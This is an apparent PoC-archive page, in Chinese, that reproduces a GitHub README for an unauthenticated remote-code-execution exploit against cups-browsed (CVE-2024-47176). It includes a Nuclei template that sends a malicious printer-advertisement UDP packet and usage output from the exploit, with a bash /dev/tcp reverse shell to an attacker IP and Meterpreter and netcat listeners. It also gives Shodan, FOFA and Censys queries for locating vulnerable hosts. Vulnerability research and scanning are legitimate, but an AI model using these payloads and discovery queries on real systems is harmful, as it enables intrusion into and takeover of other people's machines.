关联漏洞
标题:
cups 安全漏洞
(CVE-2024-47176)
描述:cups是cups开源的一个类 Unix 操作系统的组合式印刷系统。 cups存在安全漏洞,该漏洞源于cups-browsed绑定到INADDR_ANY:631,导致它信任来自任何来源的任何数据包,并可能导致向攻击者控制的 URL 发出Get-Printer-Attributes IPP 请求。
描述
Unauthenticated RCE on cups-browsed (exploit and nuclei template)
介绍
<h1 align="center">
PoC: Unauthenticated RCE on cups-browsed
</h2>
<p align="center">
<a href="https://visitorbadge.io/status?path=https%3A%2F%2Fgithub.com%2Fl0n3m4n%2FCVE-2024-47176">
<img src="https://api.visitorbadge.io/api/visitors?path=https%3A%2F%2Fgithub.com%2Fl0n3m4n%2FCVE-2024-47176&label=Visitors&countColor=%2337d67a" />
</a>
<a href="https://www.facebook.com/l0n3m4n">
<img src="https://img.shields.io/badge/Facebook-%231877F2.svg?style=for-the-badge&logo=Facebook&logoColor=white" alt="Facebook">
</a>
<a href="https://www.twitter.com/l0n3m4n">
<img src="https://img.shields.io/badge/Twitter-%23000000.svg?style=for-the-badge&logo=X&logoColor=white" alt="X">
</a>
<a href="https://medium.com/@l0n3m4n">
<img src="https://img.shields.io/badge/Medium-12100E?style=for-the-badge&logo=medium&logoColor=white" alt="Medium">
</a>
<a href="https://www.python.org/">
<img src="https://img.shields.io/badge/python-3670A0?style=for-the-badge&logo=python&logoColor=ffdd54" alt="Python">
</a>
<a href="https://www.kali.org/">
<img src="https://img.shields.io/badge/Kali-268BEE?style=for-the-badge&logo=kalilinux&logoColor=white" alt="Kali">
</a>
</p>
## 📜 Vulnerability information
- **Published**: 2024-09-26
- **Base Score**: 5.3 (MEDIUM)
- **EPSS Score**: 0.06% Probability of exploitation.
- **Vector**: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
- **Description**: CUPS is a standards-based, open-source printing system, and `cups-browsed` contains network printing functionality including, but not limited to, auto-discovering print services and shared printers. `cups-browsed` binds to `INADDR_ANY:631`, causing it to trust any packet from any source, and can cause the `Get-Printer-Attributes` IPP request to an attacker controlled URL. When combined with other vulnerabilities, such as CVE-2024-47076, CVE-2024-47175, and CVE-2024-47177, an attacker can execute arbitrary commands remotely on the target machine without authentication when a malicious printer is printed to.
## 📚 Table of Contents
- 📜 [Information](#-vulnerability-information)
- 🛠️ [Installation](#-installation)
- ⚙️ [Usage](#-usage)
- 🔎 [Discovery](#-discovery)
- 💁 [References](#-references)
- 📢 [Disclaimer](#disclaimer)
## 🛠️ Installation
```bash
$ python3 -m venv venv && source venv/bin/activate
$ pip install zeroconf ippserver colorama
$ python3 CVE-2024-47176.py -h
```
## 💡 Systems that are potentially vulnerable must have all the following conditions:
- [Affected GNU/Linux distributions](https://pkgs.org/download/cups-browsed)
- The cups-browsed package (`version 2.0.1` or `lower`) must be installed on target machine
- The cups-browsed service is started/enabled and listening on `UDP` port `631`
- The server must be accessible to the attacker (either `publicly facing internet` or attacker `has network access locally`)
- To exploit these chain of vulnerabilities, an `attacker must trick a user into printing from a malicious printer server` that has been created by the attacker.
## Nmap enumeration
```bash
$ sudo nmap -sV -p 631 --script=cups-info -Pn 192.168.1.100
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-03 15:45 PST
Nmap scan report for 192.168.1.100
Host is up (0.12s latency).
PORT STATE SERVICE VERSION
631/tcp open ipp CUPS 2.0
|_http-server-header: CUPS/2.0 IPP/2.1
| cups-info:
| ads
| DNS-SD Name:
| Location: epower
| Model: Local Raw Printer
| State: Idle
|_ Queue: 0 print jobs
```
## Nuclei Template
> CVE-2024-47176.yml
```yml
id: CVE-2024-47176
info:
name: CUPS - Remote Code Execution
author: princechaddha
severity: high
description: |
CUPS is a standards-based, open-source printing system, and cups-browsed contains network printing functionality including, but not limited to, auto-discovering print services and shared printers. cups-browsed binds to INADDR_ANY-631, causing it to trust any packet from any source, and can cause the Get-Printer-Attributes IPP request to an attacker controlled URL.
Due to the service binding to *-631 ( INADDR_ANY ), multiple bugs in cups-browsed can be exploited in sequence to introduce a malicious printer to the system. This chain of exploits ultimately enables an attacker to execute arbitrary commands remotely on the target machine without authentication when a print job is started. This poses a significant security risk over the network. Notably, this vulnerability is particularly concerning as it can be exploited from the public internet, potentially exposing a vast number of systems to remote attacks if their CUPS services are enabled.
impact: |
Successful exploitation could allow an attacker to execute arbitrary code on the target system.
remediation: |
Apply the necessary patch or upgrade to a non-vulnerable version of CUPS.
reference:
- https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/
- https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8
- https://github.com/OpenPrinting/cups-browsed/blob/master/daemon/cups-browsed.c#L13992
- https://github.com/OpenPrinting/cups-filters/security/advisories/GHSA-p9rh-jxmq-gq47
- https://github.com/OpenPrinting/libcupsfilters/security/advisories/GHSA-w63j-6g73-wmg5
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
cvss-score: 8.3
cve-id: CVE-2024-47176
cwe-id: CWE-1327
epss-score: 0.00045
epss-percentile: 0.14875
metadata:
verified: true
shodan-query: "product:cups"
tags: cve,cve2024,cups,udp,printer,oast,rce
javascript:
- pre-condition: |
isUDPPortOpen(Host,Port);
code: |
let packet = bytes.NewBuffer();
let printer_type = "00";
let printer_state = "03";
let printer_uri = `http://${oast}/printers/VulnPrinter`;
let printer_location = "Office HQ";
let printer_info = "Vulnerable Printer";
let message = `${printer_type} ${printer_state} ${printer_uri} "${printer_location}" "${printer_info}"`;
packet.WriteString(message)
let c = require("nuclei/net");
let conn = c.Open('udp', `${Host}:${Port}`);
conn.SendHex(packet.Hex());
args:
Host: "{{Host}}"
Port: 631
oast: "{{interactsh-url}}"
matchers:
- type: word
part: interactsh_request
words:
- "natural-language"
- "VulnPrinter"
condition: and
extractors:
- type: regex
group: 1
part: interactsh_request
regex:
- 'User-Agent:\s?(.*)'
# digest: 4b0a00483046022100a5171b18bd80ce93e04aabb4b3b70b0131e0a961a3d07b5ba72a33a0fa6f8434022100ee5ee6b9e749abcd80184e2c8e67a76765d0bf4a6f0df976848f8949d02c96ab:922c64590222798bb761d5b6d8e72950
```
## ⚙️ Usage and Exploit

```bash
$ python3 CVE-2024-47176.py -l 192.168.1.50 -s "Epson EcoTank L121" -p 631 -r rev.sh -t 192.168.1.100
2024-10-03 15:45:10 - INFO - Using reverse shell from file 'rev.sh': [bash -i >& /dev/tcp/192.168.1.50/443 0>&1 or backdoor.elf]
2024-10-03 15:45:10 - INFO - Registered printer service: Epson EcoTank L121
2024-10-03 15:45:10 - INFO - [+] Starting IPP server on 192.168.1.50:631...
2024-10-03 15:45:11 - INFO - Target connected, sending payload ...
Sending udp packet to 192.168.1.100:631...
2024-10-03 15:45:12 - INFO - Shutting down server...
2024-10-03 15:45:12 - INFO - Unregistered printer service: Epson EcoTank L121
2024-10-03 15:45:12 - INFO - Server closed.
# c2 and local listener
msf6 exploit(multi/handler) > exploit
...
[*] Started reverse TCP handler on 192.168.1.100:4444
[*] Sending stage (175086 bytes) to 192.168.1.100
...
meterpreter >
$ sudo rlwrap nc -lvnp 443
...
```
## 🔎 Discovery
- **Shodan**: `port:631 "CUPS" or product:CUPS version:<2.0.1`
- **FOFA**: `port=631 && protocol=ipp && product=CUPS && version<2.0.1`
- **CENYS**: `services.service_name="IPP" AND services.port=631 AND metadata.product="CUPS" AND metadata.version<"2.0.1"`
## 💁 References
- https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8
- https://github.com/OpenPrinting/cups-filters/security/advisories/GHSA-p9rh-jxmq-gq47
- https://github.com/OpenPrinting/libcupsfilters/security/advisories/GHSA-w63j-6g73-wmg5
- https://github.com/OpenPrinting/libppd/security/advisories/GHSA-7xfx-47qg-grp6
- https://github.com/OpenPrinting/cups-browsed/blob/master/daemon/cups-browsed.c#L13992
- https://www.cups.org
- https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I
## 📢 Disclaimer
This tool is provided for educational and research purposes only. The creator assumes no responsibility for any misuse or damage caused by the tool. [create issue](https://github.com/l0n3m4n/CVE-2024-47176/issues)
文件快照
[4.0K] /data/pocs/da0f3312f54f1ecb7abff9faf63947496f28dc1f
├── [ 11K] CVE-2024-47176.py
├── [ 70K] help.png
├── [ 34K] LICENSE
└── [8.7K] README.md
0 directories, 4 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。